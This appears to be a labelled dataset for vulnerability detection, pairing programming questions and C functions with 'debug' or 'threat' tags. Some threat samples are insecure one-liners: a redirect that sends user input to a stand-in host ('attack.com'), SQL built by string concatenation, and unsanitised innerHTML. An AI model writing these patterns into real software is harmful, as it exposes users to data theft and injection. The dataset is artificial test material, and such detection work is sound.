problem
stringlengths
26
131k
labels
class label
2 classes
'Python -m' in terminal : <p>I have met this pattern for quite some time when I see people try to execute a package through python. But I am not sure what does '-m' mean here. Is it a specific pattern that you need to follow? for example:</p> <p><code>python -m [library] download [model]</code></p> <p>or </p> <pre><...
0debug
How to delete interface docker0 : <p>I would like to remove the interface docker0. It would be better to avoid creating the interface docker0 when starting the service and using directly the eth0. </p>
0debug
web interface for multiple programming languages : <p>I have written applications in three different programming languages and naturally they all run standalone over the command line atm (java, c#, python).</p> <p>As a newbie when it comes to web development, I am looking for a solution that lets me create a web inter...
0debug
How do I read strings into a hash in Perl : <p>I have a file with a series of random A's, G's, C's and T's in them that look like this:</p> <pre><code>&gt;Mary ACGTACGTACGTAC &gt;Jane CCCGGCCCCTA &gt;Arthur AAAAAAAAAAT </code></pre> <p>I took those letters and concatinated them to end up with <code>ACGTACGTACGTACCCCG...
0debug
static int RENAME(dct_quantize)(MpegEncContext *s, int16_t *block, int n, int qscale, int *overflow) { x86_reg last_non_zero_p1; int level=0, q; const uint16_t *qmat, *bias; LOCAL_ALIGNED_16(int16_t, temp_block, [64]); av_assert2((7&...
1threat
Call async code in an Action in C# : <p>I'm calling a web service from some C# code. This code looks similar to this:</p> <pre><code>using (var client = new HttpClient()) { var page = "http://en.wikipedia.org/"; using (var response = await client.GetAsync(page)) { using (var content = response.Content) {...
0debug
How to use JaveScript to imitate the cutsom filter/selector in this example? : I saw this custom filter on this site (which is based on mediawiki): **https://fgo.wiki/w/%E8%8B%B1%E7%81%B5%E5%9B%BE%E9%89%B4** , and want to imitate its function on the fandom I've on for the self-learning purpose. I did figure out how ...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Cucumber on Linux vs Cucumber on Windows - Need to know the pros and cons : <p>I am not sure whether there are any specific advantages/disadvantages of using Cucumber on Linux over Cucumber on Windows. Can someone elaborate the pros and cons? Also, kindly share some trusted links for Cucumber on Linux.</p>
0debug
C#: Using arrays and initializing arrays : I'm doing some c# homework and this is the instructions: > Create a new project called FunWithArrays. > > Add a class called Game and make sure it is public. Game should have a > public 2 dimensional byte array of size 5 x 5 called BingoCard. > BingoCard should be init...
0debug
How does jest --findRelatedTests work under the hood? : <blockquote> <p>Find and run the tests that cover a space separated list of source files that were passed in as arguments. Useful for pre-commit hook integration to run the minimal amount of tests necessary.</p> </blockquote> <p>This is in official docs, bu...
0debug
static void amdvi_class_init(ObjectClass *klass, void* data) { DeviceClass *dc = DEVICE_CLASS(klass); X86IOMMUClass *dc_class = X86_IOMMU_CLASS(klass); dc->reset = amdvi_reset; dc->vmsd = &vmstate_amdvi; dc->hotpluggable = false; dc_class->realize = amdvi_realize; }
1threat
What is seeming wrong in my Main.class? That when I start it it gives me an error without saying me from which programm it was caused by : <p>I am programming a Java Plugin for Bukkit. I am nearly finished but now the console gives me an error without a reason... Im am programming with Bukkit now for 1 year with Java i...
0debug
Create index for this condition using data.table in R : how to get the startdate and enddate(cumulative) from days Variable A days stardate enddate(cumulative) A 2 0 2 A 3 2 5 B 4 5 9 ...
0debug
How to Improve For Loop Performance : <p>This code is pretty fast but I would like to make it faster without using HashMap.</p> <p>I have a list of Accounts and I am currently looping them to check if <code>account.getAccountNumber().equals(accountNumber)</code></p> <p>Is there a way to improve this using Java 8?</p>...
0debug
How does kafka handle network partitions? : <p>Kafka has the concept of a in-sync replica set, which is the set of nodes that aren't too far behind the leader. </p> <p>What happens if the network cleanly partitions so that a minority containing the leader is on one side, and a majority containing the other in-sync nod...
0debug
How can I check which version of Angular from browser? : <p>I'm trying to buy a angular 5 template online so I just want to confirm for angular version. I have check This question of Angular :- </p> <p><a href="https://stackoverflow.com/questions/16017699/how-can-i-check-which-version-of-angular-im-using">How can I ch...
0debug
What is the 4-digit octal Unix file permission system? : <p>3-digit:</p> <p>644 (user group other) 4-digit:</p> <p>4750 (??? user group other) What is the first octal digit for in 4-digit octal Unix file permission notation?</p>
0debug
static void read_len_table(uint8_t *dst, GetBitContext *gb){ int i, val, repeat; for(i=0; i<256;){ repeat= get_bits(gb, 3); val = get_bits(gb, 5); if(repeat==0) repeat= get_bits(gb, 8); while (repeat--) dst[i++] = val; } }
1threat
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
document.getElementById('input').innerHTML = user_input;
1threat
Plotting multiple files with common basename : <p>I have 100 .txt files with two columns. The file names are file0, file1, file2, ..., file99. I want to plot all of them in one single graph. How can I do this in gnuplot or python or matlab or C ?</p>
0debug
How do you find the cluster & service CIDR of a Kubernetes cluster? : <p>How do you find the cluster/service CIDR for a Kubernetes cluster, once it is already running?</p> <p>I know for Minikube, it is 10.0.0.1/24.</p> <p>For GKE, you can find out via</p> <pre><code>gcloud container clusters describe XXXXXXX --zone=...
0debug
Hello, I'm trying to write a program which outputs "n" (input) fibonacci numbers : **Hello!** I am struggling with my program. It should output n Fibonacci numbers, each on a new line. If the Fibonacci number exceeds the range of an unsigned int you should just exit the program. Moreover, you should print on a new...
0debug
Typescript How to filter filter array of objects to single new object : I am wanting to filter this array of objects (StopDetails) and set a new object (PickDetail) to the object in the array that has the TentativePickFlag = true. [![enter image description here][1]][1] [1]: https://i.stack.imgur.com/TUdc8.jp...
0debug
How to remove digits that comes inside parentheses using javascript? : <p>Let say '<strong>Ben-Hur (2016)</strong>'. I want to remove '<strong>(2016)</strong>'.I need only <strong>Ben-Hur</strong>.</p>
0debug
How to return multiple results from store procedure using dapper : I have two tables Attributes and Types. Both I need to return at the same time using store proc in dapper.
0debug
static inline void RENAME(yuv2rgb1)(uint16_t *buf0, uint16_t *uvbuf0, uint16_t *uvbuf1, uint8_t *dest, int dstW, int uvalpha, int dstbpp) { int uvalpha1=uvalpha^4095; const int yalpha1=0; if(fullUVIpol || allwaysIpol) { RENAME(yuv2rgb2)(buf0, buf0, uvbuf0, uvbuf1, dest, dstW, 0, uvalpha, dstbpp); ...
1threat
Android Activity Declaration : I am working on App lock Application in android , the error I am facing is Utils.java public class Util { public static void Job(Context con){ ComponentName service=new ComponentName(con,AppsService.class); JobInfo.Builder build=new JobInfo.Builder(0,serv...
0debug
How to match strings of the form "exclude=1" using regular expression? : <p>I want to use a regular expression to match strings of the form <code>exclude=1</code> where the number should be in the range of 1 to 15. </p> <p>I've tried: <code>str.match("/exclude\=[1-9]|exclude\=1[0-5]/")</code></p> <p>but it does not ...
0debug
static int svq3_decode_slice_header(H264Context *h) { MpegEncContext *const s = (MpegEncContext *) h; const int mb_xy = h->mb_xy; int i, header; header = get_bits(&s->gb, 8); if (((header & 0x9F) != 1 && (header & 0x9F) != 2) || (header & 0x60) == 0) { av_log(h->s.avctx,...
1threat
Retrieving exact string from file using powershell script : I used the below steps to retrieve a string from file $variable = 'abc@yahoo.com' $test = $variable.split('@')[0]; $file = Get-Content C:\Temp\file1.txt | Where-Object { $_.Contains($test) } This results in all lines that contain substring ...
0debug
hwaddr get_pteg_offset32(PowerPCCPU *cpu, hwaddr hash) { CPUPPCState *env = &cpu->env; return (hash * HASH_PTEG_SIZE_32) & env->htab_mask; }
1threat
error when pip install mysqlclient in mac : <p>when I try to pip install mysqlclient for python show this error</p> <pre><code> ERROR: Command errored out with exit status 1: command: /Users/als/Desktop/Projects/sin/venv/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/30/y2t...
0debug
setup_return(CPUState *env, struct emulated_sigaction *ka, abi_ulong *rc, void *frame, int usig) { abi_ulong handler = (abi_ulong)ka->sa._sa_handler; abi_ulong retcode; int thumb = 0; #if defined(TARGET_CONFIG_CPU_32) #if 0 abi_ulong cpsr = env->cpsr; if (ka->sa.sa_flags & SA_THIRTYTWO) ...
1threat
int walk_memory_regions(void *priv, walk_memory_regions_fn fn) { struct walk_memory_regions_data data; uintptr_t i; data.fn = fn; data.priv = priv; data.start = -1ul; data.prot = 0; for (i = 0; i < V_L1_SIZE; i++) { int rc = walk_memory_regions_1(&data, (abi_ulong)i << V...
1threat
basch script ignore the negative prefix on negative numbers : a=4; b=7; c=5; x =[ a-b ] if (x -gt c) then { echo "x is greater" } else { echo " something" } >I want compare x and c ignoring the negative prefix of c
0debug
static void test_visitor_in_alternate_number(TestInputVisitorData *data, const void *unused) { Visitor *v; Error *err = NULL; AltStrBool *asb; AltStrNum *asn; AltNumStr *ans; AltStrInt *asi; AltIntNum *ain; AltNumInt *ani; ...
1threat
Why is it necessary to create a default constructor in java? : <p>The default constructor is used when no arguments are specified when a single class is instantiated but for the subclass and superclass , we need to necessarily create the default constructors ! Why? </p>
0debug
static int parse_ffconfig(const char *filename) { FILE *f; char line[1024]; char cmd[64]; char arg[1024]; const char *p; int val, errors, line_num; FFStream **last_stream, *stream, *redirect; FFStream **last_feed, *feed, *s; AVCodecContext audio_enc, video_enc; enum AV...
1threat
How to handel success response in payubiz in surl? : in adnroid side i am getting marchent data : null. How to show success result in App side.after successfully payment payu server return some response that response is in $_POST $result = ''; foreach($_POST as $key=> $value){ $result .= $key . '='...
0debug
Expected identifier instead and instead saw 'let' : I am trying filter the object and when I do it I am getting this error what actually it is saying I am not getting it. > Expected identifier instead and instead saw 'let'. This is my filter function var arr = $scope.items; //onject data var stringToFilter ...
0debug
void monitor_flush(Monitor *mon) { int rc; size_t len; const char *buf; if (mon->skip_flush) { return; } buf = qstring_get_str(mon->outbuf); len = qstring_get_length(mon->outbuf); if (len && !mon->mux_out) { rc = qemu_chr_fe_write(mon->chr, (const uint8_t...
1threat
How to reconstruct array in a certain way : Let's say I have an array ``` [-2, -1, 0, 1, 2, 3, 4]; ``` And I want to reconstruct it into below ``` [0, 1, 2, 3, 4, -2, -1]; ``` Is there anyway in JavaScript can achieve this?
0debug
bad alloc c++ loading file in matrix : <p>I try to load a large file (20gb) and load it into a matrix. However I get a bad_alloc error when it tries to load the file in the matrix. My code is working on Mac but doesn't on Linux. </p> <p>Here is my code: </p> <pre><code>std::ifstream ifs(filename, std::ifstream::binar...
0debug
static void iothread_set_poll_max_ns(Object *obj, Visitor *v, const char *name, void *opaque, Error **errp) { IOThread *iothread = IOTHREAD(obj); Error *local_err = NULL; int64_t value; visit_type_int64(v, name, &value, &local_err); if (local_err) { goto out; } ...
1threat
How do I force a task on airflow to fail? : <p>I have a python callable <code>process_csv_entries</code> that processes csv file entries. I want my task to complete successfully only if all entries were processed successfully. Task should fail otherwise</p> <pre><code>def process_csv_entries(csv_file): # Boolean ...
0debug
Creating a Program to pick out random strings from an array : <p>So, i wanted to create a program that picks out simple strings from an array, it sounded pretty simple to me but then i ran into problems. Here's what i wrote:</p> <pre><code>int pickjob; string jobs[] = {Police Officer, Fireman, Vet, Doctor, Nurse, Chem...
0debug
Searching List <dvd> C # : I have a DVD Rental application. And in my Store.cs (class) i need to search the Dvd.cs (class) for un rented dvds and save the film from the Movie.cs class in results in a list (getAvailableDVD). Movie.cs has properties set & a List<dvd> & in my Dvd.cs i have an enum for availability {Avai...
0debug
How to add a border to your Xamarin Form Label? : <p>Hello fellow Xamarin Forms users,</p> <p>I already found out that borders on a label are not supported out of the box by Xamarin Froms. So after some searching is still have no clue how to make it possible. Is it possible to add a border using the custom renderer? I...
0debug
static int libx265_encode_frame(AVCodecContext *avctx, AVPacket *pkt, const AVFrame *pic, int *got_packet) { libx265Context *ctx = avctx->priv_data; x265_picture x265pic; x265_picture x265pic_out = { { 0 } }; x265_nal *nal; uint8_t *dst; int payload = 0; ...
1threat
C# How to create a zip file from 3 directory contents : <p>pseudo code: c:\temp\Backup.zip = (c:\Temp\Config*.* , c:\Temp\Data*.<em>, c:\Temp\scripts*.</em>)</p> <p>Thanks in Advance!</p>
0debug
static void sbr_dequant(SpectralBandReplication *sbr, int id_aac) { int k, e; int ch; if (id_aac == TYPE_CPE && sbr->bs_coupling) { int alpha = sbr->data[0].bs_amp_res ? 2 : 1; int pan_offset = sbr->data[0].bs_amp_res ? 12 : 24; for (e = 1; e <= sbr->data[0].bs_num_en...
1threat
Measure height of TextInputLayout error container : <p>Hi I have to make layout as below, edit text has to be in <code>TextInputLayout</code> to have error and floating hint functionality, and spinner on the right must have underline. My question is how to do it, because when I'm adding <code>EditText</code> into <code...
0debug
int pcistb_service_call(S390CPU *cpu, uint8_t r1, uint8_t r3, uint64_t gaddr, uint8_t ar, uintptr_t ra) { CPUS390XState *env = &cpu->env; S390PCIBusDevice *pbdev; MemoryRegion *mr; MemTxResult result; int i; uint32_t fh; uint8_t pcias; uint8_t len; ...
1threat
Infinite looping alert box in javascript : <p>My question is, how come my "You got it!" alert keeps going on infinitely? I know I can make it break there, but I want to know why it keeps doing that. It should have that secret_number===answer and break out of the while loop, so obviously it's not doing that, and I don't...
0debug
Add Icons On Android Application Activities : <p>I am building an android application and the activities has no icons of my application. How i can add icons on every activity of my android application?</p>
0debug
Why have arrays in Go? : <p>I understand the difference between arrays and slices in Go. But what I don't understand is why it is helpful to have arrays at all. Why is it helpful that an array type definition specifies a length and an element type? Why can't every "array" that we use be a slice?</p>
0debug
Calling a different class in the same src folder will not work. : I am trying to call the class, "CarFuel", from the same src folder. It is not working and shows an error. Code for class with methods for main: public class CarFuel { int CarFuel = 5; //Gallons of fuel starting in car public CarFuel(i...
0debug
Multiple android apps : <p>I need to make around 1000 android apps with same code base but different names, logos, splash screens,images . using android library will solve the issue? One google developer account is sufficient? </p>
0debug
static void ff_wmv2_idct_add_c(uint8_t *dest, int line_size, DCTELEM *block) { ff_wmv2_idct_c(block); add_pixels_clamped_c(block, dest, line_size); }
1threat
static int cin_probe(AVProbeData *p) { if (p->buf_size < 18) return 0; if (AV_RL32(&p->buf[0]) != 0x55AA0000) return 0; if (AV_RL32(&p->buf[12]) != 22050 || p->buf[16] != 16 || p->buf[17] != 0) return 0; return AVPROBE_SCORE_MAX; }
1threat
CPUState *cpu_copy(CPUState *env) { CPUState *new_env = cpu_init(env->cpu_model_str); CPUState *next_cpu = new_env->next_cpu; int cpu_index = new_env->cpu_index; #if defined(TARGET_HAS_ICE) CPUBreakpoint *bp; CPUWatchpoint *wp; #endif memcpy(new_env, env, sizeof(CPUState)); ...
1threat
How to save structure of site/document created with a rich text editor to create read-only views and editable rich text editors again? : <p>I need to save some content of an editor in some kind of backend, which currently is unspecified. At the moment I´m struggling the structure of the created document. In the editor ...
0debug
How do you handle collection and storage of new data in an existing system? : <p>I am new to system design and have been asked to solve a problem.</p> <p>Given a car rental service website, I need to work on a new feature.</p> <p>The company has come up with some more data that they would like to capture and analyze ...
0debug
static int bdrv_rw_co(BlockDriverState *bs, int64_t sector_num, uint8_t *buf, int nb_sectors, bool is_write, BdrvRequestFlags flags) { QEMUIOVector qiov; struct iovec iov = { .iov_base = (void *)buf, .iov_len = nb_sectors * BDRV_SECTOR_SIZE, }; if (nb_sect...
1threat
Create multiple Postgres instances on same machine : <p>To test streaming replication, I would like to create a second Postgres instance on the same machine. The idea is that if it can be done on the test server, then it should be trivial to set it up on the two production servers.</p> <p>The instances should use diff...
0debug
Retrieve the tables from sql server management studio from visual studio : I am working with C# Visual studio sql server has back end. This is my code in following code I am trying to retrieve table names based on database name.The command which used that is working perfectly in sql server management studio query build...
0debug
The best way to get images from a webpage to display on a android app image view? : <p>Im stuck and out of ideas. Does anyone know the easiest way of getting a image from a webpage and using it on your android app. Help will be appreciated.</p>
0debug
PCIDevice *virtio_net_init(PCIBus *bus, NICInfo *nd, int devfn) { VirtIONet *n; static int virtio_net_id; n = (VirtIONet *)virtio_init_pci(bus, "virtio-net", PCI_VENDOR_ID_REDHAT_QUMRANET, PCI_DEVICE_ID_VIRTIO_NET, ...
1threat
static int ehci_state_executing(EHCIQueue *q, int async) { int again = 0; int reload, nakcnt; ehci_execute_complete(q); if (q->usb_status == USB_RET_ASYNC) { goto out; } if (q->usb_status == USB_RET_PROCERR) { again = -1; goto out; } if (!asy...
1threat
Deal with segmentation fault : <p>I am trying to solve a CodeChef problem. Whenever I run it I get a segmentation fault. This is the link to the problem: <a href="https://www.codechef.com/problems/CHN09" rel="nofollow">Malvika is peculiar about color of balloons</a></p> <p>Here is my code :</p> <pre><code>#include&lt...
0debug
Can I use python for a Raspberrry based App? : I'm quite new in coding. I want to controll my RC car with my smartphone thanks to a raspberry Pie 3. All my researches show that I have to use Node.JS, and consequently JavaScript, to create the App. Is there any way I can do it with Python ? Do you have an open-sour...
0debug
static void gen_neon_trn_u8(TCGv t0, TCGv t1) { TCGv rd, tmp; rd = new_tmp(); tmp = new_tmp(); tcg_gen_shli_i32(rd, t0, 8); tcg_gen_andi_i32(rd, rd, 0xff00ff00); tcg_gen_andi_i32(tmp, t1, 0x00ff00ff); tcg_gen_or_i32(rd, rd, tmp); tcg_gen_shri_i32(t1, t1, 8); tcg_gen_a...
1threat
PHP While Loop Not Liking Two Variables : <p>I have the follow while loop in my code. I can't understand why it causes a loading error but when I remove the = from the statement, it suddenly works? Thanks in advance!</p> <p>Here is my code (Yes, I do have a form opening and closing tags!):</p> <pre><code> echo "&lt;s...
0debug
Create a pivot table that lists out values : <p>What aggfunc do I need to use to produce a list using a pivot table? I tried using str which doesn't quite work.</p> <p><strong>Inputs</strong></p> <pre><code>import pandas as pd data = { 'Test point': [0, 1, 2, 0, 1], 'Experiment': [1, 2, 3, 4, 5] } df = pd.Dat...
0debug
Block Block background on all page bootstrap : Hello i want this background on my project [like this][1] [1]: https://i.stack.imgur.com/3XwIz.png
0debug
static int decode_slice(H264Context *h){ MpegEncContext * const s = &h->s; const int part_mask= s->partitioned_frame ? (AC_END|AC_ERROR) : 0x7F; s->mb_skip_run= -1; if( h->pps.cabac ) { int i; align_get_bits( &s->gb ); ff_init_cabac_states( &h->...
1threat
what is difference between find() and children() in jquery? : <p>I got Question in interview. What is main difference between <strong>find()</strong> and <strong>children()</strong>. Please answer . Thanks in advance</p>
0debug
Split string by data size : <p>I'm using a python library that takes in a string and returns me some output. The caveat is that the max string size it takes is 200kb.</p> <p>Lets say I have a string that's 350kb. I want to split the string such that it sends the library two requests: the first one being the first part...
0debug
php - get the value of div id to POST FORM : hello i would like to get the value of a div to a php form. i am using POST. this is my code , this div also runs on jQuery , the value is changing depends on what color the user chooses: <div id="caption">Alumina Jade Metallic</div> i used `data-caption` to cha...
0debug
static pflash_t *ve_pflash_cfi01_register(hwaddr base, const char *name, DriveInfo *di) { DeviceState *dev = qdev_create(NULL, "cfi.pflash01"); if (di && qdev_prop_set_drive(dev, "drive", blk_bs(blk_by_legacy_dinfo(di)))) { ...
1threat
Can arrays of pointers & 2-D array consider as same : <p>Can anyone please tell if both the entity - i.e. 2-D array <code>char array[][9]</code> and array of pointers <code>char *array[9]</code> are same or different??</p>
0debug
static void ohci_pci_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->init = usb_ohci_initfn_pci; k->vendor_id = PCI_VENDOR_ID_APPLE; k->device_id = PCI_DEVICE_ID_APPLE_IPID_USB; k->class_id = PCI_CLASS_S...
1threat
static inline int init_pfa_reindex_tabs(MDCT15Context *s) { int i, j; const int b_ptwo = s->ptwo_fft.nbits; const int l_ptwo = 1 << b_ptwo; const int inv_1 = l_ptwo << ((4 - b_ptwo) & 3); const int inv_2 = 0xeeeeeeef & ((1U << b_ptwo) - 1); s->pfa_prereindex = av_malloc(15 * l_ptwo ...
1threat
static int diff_C(unsigned char *old, unsigned char *new, int os, int ns) { int x, y, d=0; for (y = 8; y; y--) { for (x = 8; x; x--) { d += abs(new[x] - old[x]); } new += ns; old += os; } return d; }
1threat
whats the best way to show and hide parts of an mvc view based on some logic : Im typing on a phone so please have mercy. I just have something im thinking about and something which ive been implementing in a lot of my code which i dont think is the best way of doing things.. you know after you submit a form you may w...
0debug
Visual Studio Code user snippets not working : <p>I've enabled the default "log" snippet in VS Code. I also added another snippet. Neither show up when I type their prefixes. I have set <code>editor.tabCompletion</code> to true.</p> <p>Any idea why these don't work?</p>
0debug
Porting from Visual Studio to Delphi XE10 : I am porting some kind of code from Visual Studio to Delphi XE10. Wondering how we should translate the following construct: public event PreviewReadyDelegate PreviewReady { add { Scheduler.AddOrRemoveEvent(() => { _previewReady += value; }...
0debug
android studio: activity_main.xml does not include content_main.xml : I have two questions: 1) I tried to add a button on the activity_main.xml, It shows. Then I thing the button is better placed in the content_main.xml. This time the button doesn't show. I make the button visibility to visible and the content_main v...
0debug
PL/SQL create trigger /Thanks in advance : Create a trigger called biufer_customer that starts before insert or update of the column passwd in the customer table. The trigger shall verify that the password is exactly six characters long, no more, no less. Unless this requirement is fulfilled, the trigger shall stop the...
0debug
How do I create a 'provisioning profile' and how do you sign in? : The Xcode error is: Failed to create provisioning profile. There are no devices registered in your account on the developer website. Plug in and select a device to have Xcode register it. No profiles for 'com.Tom-s-Creations.Bouncy-Heavens' wer...
0debug
How can I make my program create variables automatically and print them by it self? : <p>I've got an idea for a program that I'm not sure how to implement. How can I make the program ask the user something -- <code>input()</code> -- as many times as user responds until x command is written and (and this is the hard par...
0debug
A PhP program to select album names from album mysql table, Did not understand usage of IF at preparing the statement? why should use IF at all? : $sql = "SELECT album_name FROM albums WHERE artist_id=?"; if($stmt = $link->prepare($sql)) // Doubt: why should you use if statement, can't we just write it without if sta...
0debug
Android match_parent with max_width : I have an ImageView and I want to set something like this: `min_with=match_parent and max_width=value` does someone know how to do that?
0debug
In Angular, how I navigate directly to a path inside a lazy loaded module? : <p>I would like to have two top level paths for logging in and registering.</p> <p>I would prefer not having to do <code>auth/log-in</code> and <code>auth/register</code>. </p> <p>However, the auth components are in a separate module, which ...
0debug
vba macro: find string in column thru loop then execute checker : I created a code that will find the word 'date' value on the field/column and if available it will check the date format of th entire row, so as long as the 'date' word/string is available it keeps on checking the date. I tried some code to loop thru col...
0debug
static int unix_listen_saddr(UnixSocketAddress *saddr, bool update_addr, Error **errp) { struct sockaddr_un un; int sock, fd; sock = qemu_socket(PF_UNIX, SOCK_STREAM, 0); if (sock < 0) { error_setg_errno(errp, errno, "Failed to ...
1threat
Is there any option to change fonts of Android app : <p>I want to know if I have a text like "hello world". How can I set the preference of this text view that user can change the font size to medium, large and small like 20sp, 25sp, 30sp.</p>
0debug
VisualVM Calibration Step Hangs with Windows 10 : <p>Situation:</p> <p>I have installed VisualVM 1.3.8 on my Windows 10 Anniversary Edition (and not using the one that came with the JDK 8).</p> <p>I would like to use this to Profile a Java (Play) App.</p> <p>What Happens:</p> <p>When starting the CPU profiling, it ...
0debug